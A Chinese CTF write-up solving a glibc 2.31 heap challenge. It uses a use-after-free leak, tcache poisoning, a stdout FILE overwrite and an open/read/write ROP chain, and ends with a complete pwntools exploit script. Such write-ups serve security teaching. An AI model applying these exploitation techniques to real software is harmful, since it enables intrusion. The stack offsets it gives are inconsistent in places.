题面
给了二进制文件和 libc 与 ld。
1
2
3
|
2022-05-26 13:50 libc.so.6
2022-05-26 13:50 pwn
2022-05-26 13:50 ld.so
|
分析
保护全开。
1
2
3
4
5
6
7
8
|
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2022_华东北-blue/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
|
libc 版本为 libc 2.31。
1
2
|
❯ strings libc.so.6 | grep 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.
|
ida pro 分析:
因为带了 stripped 所以函数名和一些变量做了别名。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]
sub_1730();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = recv_num();
if ( v3 != 666 )
break;
del_uaf();
}
if ( v3 > 666 )
{
LABEL_13:
puts_fn(a1: "Invalid choice\n");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
del();
}
}
}
}
|
add 一共有 32 个空,从小到大遍历数组元素为 0 的槽位。没办法选索引,最大 chunk 块为 0xa0(0x90)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int add()
{
int i; // [rsp+0h] [rbp-10h]
unsigned int size[3]; // [rsp+4h] [rbp-Ch]
puts_fn(a1: "Please input size: ");
*(_QWORD *)size = (unsigned int)recv_num();
if ( size[0] > 0x90 )
size[0] = 0x90;
*(_QWORD *)&size[1] = malloc(size: size[0]);
if ( *(_QWORD *)&size[1] != 0 )
{
puts_fn(a1: "Please input content: ");
read_fn(a1: *(void **)&size[1], a2: size[0]);
for ( i = 0; i <= 31; ++i )
{
if ( heap_addr[i] == 0 && heap_size[i] == 0 )
{
heap_addr[i] = *(_QWORD *)&size[1];
heap_size[i] = size[0];
puts_fn(a1: "Done\n");
return i;
}
}
return puts_fn(a1: "Empty\n");
}
else
{
puts_fn(a1: "Malloc Error\n");
return -1;
}
}
|
show 次数仅有一次,用一个变量进行计数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
int show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( is_show > 0 )
{
puts(s: "ERROR");
_exit(status: 0);
}
puts_fn(a1: "Please input idx: ");
v1 = recv_num();
if ( v1 <= 0x20 && heap_size[v1] != 0 && heap_addr[v1] != 0 )
{
puts_fn(a1: (const char *)heap_addr[v1]);
++is_show;
return puts_fn(a1: "Done!\n");
}
else
{
puts_fn(a1: "ERROR\n");
return -1;
}
}
|
这里有两个 free 相关的函数,其中一个带有 uaf 也仅有一次机会,显然是有意而为之。
带 uaf 的 delete。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
int del_uaf()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( is_uaf > 0 )
{
puts(s: "ERROR");
_exit(status: 0);
}
puts_fn(a1: "Please input idx: ");
v1 = recv_num();
if ( v1 <= 0x20 && heap_size[v1] != 0 && heap_addr[v1] != 0 )
{
free(ptr: (void *)heap_addr[v1]);
++is_uaf;
return puts_fn(a1: "DONE!\n");
}
else
{
puts_fn(a1: "ERROR\n");
return -1;
}
}
|
健全的 delete:
这里清空的元素可能会被后面 add 重新复用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
int del()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts_fn(a1: "Please input idx: ");
v1 = recv_num();
if ( v1 <= 0x20 && heap_size[v1] != 0 && heap_addr[v1] != 0 )
{
free(ptr: (void *)heap_addr[v1]);
heap_addr[v1] = 0;
heap_size[v1] = 0;
return puts_fn(a1: "DONE!\n");
}
else
{
puts_fn(a1: "ERROR\n");
return -1;
}
}
|
注意到程序有调用 prctl 函数,用 ceccomp 扫下显然,execve 被禁用了:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
[INFO]: Start tracing process 286203
[INFO]: Parsing seccomp filter loaded in process 286203
open -> ALLOW
openat -> ALLOW
read -> ALLOW
write -> ALLOW
execve -> KILL
execveat -> ALLOW
mmap -> ALLOW
mprotect -> ALLOW
sendfile -> ALLOW
ptrace -> ALLOW
fork -> ALLOW
|
需要 orw,算比较麻烦。
利用
这道题的 uaf 和 show 仅有一次,要合理安排来泄漏信息。这里拿来丢 unsorted bins 泄漏 libc。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
def select(id: int):
io.recvuntil(b"Choice: ")
io.sendline(str(id).encode())
def del_uaf(idx: int):
select(666)
io.recvuntil(b"Please input idx: ")
io.sendline(str(idx).encode())
print("uaf ", idx)
def show(idx: int):
select(3)
io.recvuntil(b"Please input idx: ")
io.sendline(str(idx).encode())
print("show ", idx)
def add(size: int, content: bytes):
select(1)
io.recvuntil(b"Please input size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Please input content: ")
io.send(content)
print("add ", hex(size))
def free(idx: int):
select(2)
io.recvuntil(b"Please input idx: ")
io.sendline(str(idx).encode())
print("free ", idx)
|
unsortedbins attack
1
2
3
4
5
6
7
8
9
10
|
for i in range(9): # 0-8
add(0x90, chr(i).encode() * 10)
add(0x20, b"9999999") # 9
for i in range(7):
free(i) # 0-6
del_uaf(8) # 8
show(8) # 泄漏 libc
|
先将 tcache bins 0xa0 塞满然后 free 掉出来一个进 unsortedbins 这里用 uaf 访问该 chunk 拿到 libc。
1
2
3
4
5
6
7
8
9
10
11
|
libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_addr))
stdout_addr = libc_addr + libc.sym["_IO_2_1_stdout_"]
environ_addr = libc_addr + libc.sym["__environ"]
write_addr = libc_addr + libc.sym["write"]
read_addr = libc_addr + libc.sym["read"]
open_addr = libc_addr + libc.sym["open"]
pop_rdi = libc_addr + 0x23b6a
pop_rsi = libc_addr + 0x02601F
pop_rdx = libc_addr + 0x142C92
|
注意到这里空出一个 chunk 7 没有 free,而是把 8 送进 unsortedbins。
堆重叠
因为 chunk7 和 chunk8 在内存地址空间下是紧挨着的,而且对应的 tcache bins 是满的,接下来 free 7 就直接与 8 合并,形成更大的 unsorted bins。因为前面的 UAF,所以 8 就成了在 unsorted bins 的悬置指针。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
# 0xa0 tcache 仍是满的,7 不会进 tcache 而是与 8 向前合并,得到从 7 开始大小 0x140 的 unsorted chunk
free(7) # 与 unsorted 的 8 合并
add(0x90, b"aaaaaaaa") # 取走 chunk 腾出 tcache
# 8 现在是合并后 unsortedd chunk 内部的悬垂指针,
# free 掉会把它再放进 0xa0 tcache,造成重叠
free(8)
# 0x90 chunk,从 unsorted chunk 切出前半部分,余下部分正好覆盖到旧的 chunk header
add(0x80, b"bbbb") # 0xb 从 H7 的 0x140 的 unsorted 大块切出前 0x70
# 接下来切出的用户区起点刚好是 chunk8
# 旧的 headser 改 next 为 stdout_addr
add(0x80, p64(0) + p64(0xA1) + p64(stdout_addr)) # 0xc
# tcache 链被改成 chunk 8 -> stdout_addr
add(0x90, b"dddd") # 0xd 取到 chunk8
# 拿到 stdout 地址改写 FILE
add(
0x90, p64(0xFBAD1887) + p64(0) * 3 + p64(environ_addr) + p64(environ_addr + 8) * 2
i) # 利用 stdout 泄漏 stack
environ_stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("environ stack address =", hex(environ_stack))
|
free(8) 制造出堆重叠。因为前面一次 add 所以 tcache 有一个空位可以进入,这样 chunk8 就进入 tcache 的头部。
接下来 add(0x80),分配出来的 chunk 是 0x90 而不是 0xa0 所以直接从大块 0x140 的 unsorted bin 取前 0x90,剩下 0xb0。
之后 libc 做一个 remainder 的 chunk,前 0x10 做 header,而 chunk 8 所在地址就直接是用户区。刚好可以直接覆盖头,并改写 next:
1
|
add(0x80, p64(0) + p64(0xA1) + p64(stdout_addr)) # 0xc
|
覆盖前的 bins 结构:

覆盖后的 bins 结构:

IO_2_1_stdout
接下来两次 add 拿到 _IO_2_1_stdout_。
1
2
3
4
5
6
|
add(0x90, b"dddd") # 0xd
# 拿到 stdout 改写 FILE
add(
0x90, p64(0xFBAD1887) + p64(0) * 3 + p64(environ_addr) + p64(environ_addr + 8) * 2
) # 利用 stdout 泄漏 stack
|
重点看拿到 stdout 地址之后写入的内容:
1
2
3
4
|
p64(0xfbad1887) + #
p64(0) * 3 + #
p64(environ_addr) + #
p64(environ_addr + 8) * 2 #
|
这里就需要补充这种改写 stdout 的泄漏地址方法了。
找个有 libc debug info 的 exp 开 gdb 调试:
1
2
|
p stdout
ptype stdout
|
出来这的 _IO_FILE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
struct _IO_FILE {
int _flags; // 一般为 0xfbad1887
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
...
} *
|
通过改写 _IO_write_base、 _IO_write_ptr和 _IO_write_end 来泄漏 __environ。
libc 对缓冲区的基本认识是:_IO_write_base ~ _IO_write_ptr 存在待输出的数据,也就是说,libc 为认为 _IO_write_ptr - _IO_write_base = 8,从 _IO_write_base 之后 8 字节数据即 __environ 数据待输出,当之后 IO 函数出发 stdout 的 stdio 处理时,这 8 个字节就被送到 fd 1 输出,从而输出 __environ 地址。
1
2
|
environ_stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("environ stack address =", hex(environ_stack))
|
之后再 gdb 查看该地址与 $rbp 距离:
1
|
p (void *)_environ - (void *)$rbp
|
得到 128,也就是返回地址在 _environ - 0x120 的地址。
ORW
拿到 return address 就是布置 ROP,将 flag 地址写在 rbp 位置刚好,然后后面就是 ORW 的栈帧。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# open
orw = (
b"./flag\x00\x00"
+ p64(pop_rdi)
+ p64(rbp)
+ p64(pop_rsi)
+ p64(0)
+ p64(open_addr)
)
# read
orw += (
p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(environ_stack + 0x200)
+ p64(pop_rdx)
+ p64(0x50)
+ p64(read_addr)
)
# write
orw += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x50) + p64(write_addr)
|
tcache poisoning
接下来要构造 tcache poison,当前堆指针数组布局如下:

[2] 是 chunk8,[3] 是 chunk8 + 0x10,之后堆布局如下:

这样我们可以先 add 一个 0x80 的改写 0x77a0 那块的 metadata 将 next 指针变成上面保存的 rbp 之后就能写入 orw。
1
|
add(0x80, p64(0) + p64(0xA1) + p64(rbp))
|

此时第二次取出 0xa0 就是 rbp 指向的栈地址。
1
2
|
add(0x90, b"eee")
add(0x90, orw)
|
然后就是:PWN!
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
|
from pwn import *
from requests import delete
io = process("./pwn")
# io = remote("node4.anna.nssctf.cn", 27566)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def select(id: int):
io.recvuntil(b"Choice: ")
io.sendline(str(id).encode())
def del_uaf(idx: int):
select(666)
io.recvuntil(b"Please input idx: ")
io.sendline(str(idx).encode())
print("uaf ", idx)
def show(idx: int):
select(3)
io.recvuntil(b"Please input idx: ")
io.sendline(str(idx).encode())
print("show ", idx)
def add(size: int, content: bytes):
select(1)
io.recvuntil(b"Please input size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Please input content: ")
io.send(content)
print("add ", hex(size))
def free(idx: int):
select(2)
io.recvuntil(b"Please input idx: ")
io.sendline(str(idx).encode())
print("free ", idx)
def _debug():
gdb.attach(
io,
gdbscript="""
decompiler connect ida
""",
)
for i in range(9): # 0-8
add(0x90, chr(i).encode() * 10)
add(0x20, b"9999999") # 9
for i in range(7):
free(i) # 0-6
del_uaf(8) # 8
show(8) # 泄漏 libc
libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_addr))
stdout_addr = libc_addr + libc.sym["_IO_2_1_stdout_"]
environ_addr = libc_addr + libc.sym["__environ"]
write_addr = libc_addr + libc.sym["write"]
read_addr = libc_addr + libc.sym["read"]
open_addr = libc_addr + libc.sym["open"]
pop_rdi = libc_addr + 0x23B6A
pop_rsi = libc_addr + 0x02601F
pop_rdx = libc_addr + 0x142C92
# 0xa0 tcache 仍是满地,7 不会进 tcache 而是与 8 向前合并,得到从 7 开始大小 0x140 的 unsorted chunk
free(7) # 与 unsorted 的 8 合并
add(0x90, b"aaaaaaaa") # 取走 chunk 腾出 tcache
# 8 现在是合并后 unsortedd chunk 内部的悬垂指针,
# free 掉会把它再放进 0xa0 tcache,造成重叠
free(8)
# 0x90 chunk,从 unsorted chunk 切出前半部分,余下部分正好覆盖到旧的 chunk header
add(0x80, b"bbbb") # 0xb
# 旧的 headser 改 next 为 stdout_addr
add(0x80, p64(0) + p64(0xA1) + p64(stdout_addr)) # 0xc
add(0x90, b"dddd") # 0xd
# 拿到 stdout 改写 FILE
add(
0x90, p64(0xFBAD1887) + p64(0) * 3 + p64(environ_addr) + p64(environ_addr + 8) * 2
) # 利用 stdout 泄漏 stack
environ_stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("environ stack address =", hex(environ_stack))
rbp = environ_stack - 0x128 # 找到地址
# open
orw = (
b"./flag\x00\x00" + p64(pop_rdi) + p64(rbp) + p64(pop_rsi) + p64(0) + p64(open_addr)
)
# read
orw += (
p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(environ_stack + 0x200)
+ p64(pop_rdx)
+ p64(0x50)
+ p64(read_addr)
)
# write
orw += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x50) + p64(write_addr)
free(3)
free(2)
add(0x80, p64(0) + p64(0xA1) + p64(rbp))
add(0x90, b"eee")
add(0x90, orw)
io.interactive()
|